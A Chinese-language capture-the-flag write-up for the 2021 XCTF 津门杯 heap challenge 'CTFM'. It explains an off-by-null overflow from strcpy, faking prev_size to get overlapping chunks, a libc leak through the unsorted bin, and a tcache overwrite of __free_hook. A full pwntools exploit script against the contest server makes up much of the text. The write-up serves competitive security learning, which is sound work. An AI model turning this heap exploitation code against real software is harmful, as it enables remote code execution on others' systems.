XCTF 津门杯 2021-PwnCTFM-WP

Posted on May 11, 2021

比赛的时候不知道为什么,一直没想出来,赛后复现一下。

本题、本次比赛,最讨厌的地方就是每道 PWN 题都没给 libc,大幅降低了做题体验(好吧还是我太菜了)。其实题目很简单。

分析

这里的 strcpy 存在一个 off-by-null,所以 off-by-null 下一个 chunk,伪造 prev_size,使前一个 chunk 为 unsorted bin,然后 free 掉那个被 off-by-null 的 chunk 就可以实现 chunk overlapping,并且可以实现 leak。

解法

以上的思路是十分自然的,当时主要卡在如何伪造 prev_size 上,由于 strcpy 的机制,伪造不是那么的直接,但是确实还是很简单的,一次一次退回去就可以了,也就是

for i in range(6):
    delete(7)
    add('index:7',0xF8,'a' * (0xF8 - i),1)
delete(7)
add('index:7',0xF8,'a' * 0xF1 + '\x08',1)
delete(7)
add('index:7',0xF8,'a' * 0xF0,1)

这样的方法,第一次输入先 off-by-null,然后一字节一字节的后退,把 prev_size 的高 5 字节都清零,再写入一个 \x08,这个时候 prev_size 等于 0x861,再输入一次把低一字节置零就可以了,此时 prev_size 就被伪造成了 0x800。

之后的 leak 可能也需要动点脑筋,由于只要申请了 chunk 原 chunk 中的数据就无法被输出出来了,所以需要利用 overlapping 来实现 leak,也就是从 free 出来的 unsorted bin 中申请一个恰当大小的 chunk,然后切割分配后,main_arena 的地址就会被写到一个已经被申请出来的 chunk 中,这样通过 show 功能就可以实现 leak 了。

leak 之后 tcache 打 free_hook getshell 比较简单,不再赘述。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'

#sh = process("./pwn")
#libc = ELF("/glibc/2.27/amd64/lib/libc.so.6")

sh = remote("119.3.81.43",49155)

def add(name,size,des,score):
    sh.sendlineafter(">>",'1')
    sh.sendafter("name:",name)
    sh.sendlineafter("size:",str(size))
    if (des != ''):
        sh.sendafter("des:",des)
    sh.sendlineafter("score:",str(score))

def delete(index):
    sh.sendlineafter(">>",'2')
    sh.sendlineafter("index:",str(index))

def show(index):
    sh.sendlineafter(">>",'3')
    sh.sendlineafter("index:",str(index))

sh.sendlineafter("name:",'CTFM')
sh.sendlineafter("password:",'123456')

add('index:0',0xF8,'off-by-nulled',1)
for i in range(1,8):
    add('index:i',0xF8,'0',1)

add('index:8',0xF8,'0',1)
add('index:9',0x20,'0',1)

for i in range(6):
    delete(7)
    add('index:7',0xF8,'a' * (0xF8 - i),1)
delete(7)
add('aaa',0xF8,'a' * 0xF1 + '\x08',1)
delete(7)
add('aaa',0xF8,'a' * 0xF0,1)

for i in range(1,8):
    delete(i)

delete(0)
delete(9)
delete(8)

for i in range(8):
    add("index:i",0xF8,'/bin/sh\x00',1)

show(6)
sh.recvuntil("des:")
#libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.sym["main_arena"] - 96
__malloc_hook_addr = u64(sh.recv(6).ljust(8,'\x00')) - 96 - 0x10
libcs = LibcSearcher("__malloc_hook",__malloc_hook_addr)
libc_base = __malloc_hook_addr - libcs.dump("__malloc_hook")
log.success("libc_base:" + hex(libc_base))

#system_addr = libc_base + libc.sym["system"]
#__free_hook_addr = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libcs.dump("system")
__free_hook_addr = libc_base + libcs.dump("__free_hook")
delete(5)
add("index:5",0x1E8,'a' * 0x100 + p64(__free_hook_addr),1)
add("index:8",0xF8,'pass',1)
add("index:9",0xF8,p64(system_addr),1)

delete(1)
#gdb.attach(proc.pidof(sh)[0])

sh.interactive()

另外多说一句,靶机的 libc 版本是 2.27,LibcSearcher 也有搜出 2.29 的匹配,但是由于 2.29 已经加入了对前向合并的检查(两 chunk 必须相邻),所以不可能是 2.29 版本的。

比赛时没做出来,好羞愧好难过。还是要提高自己的水平啊。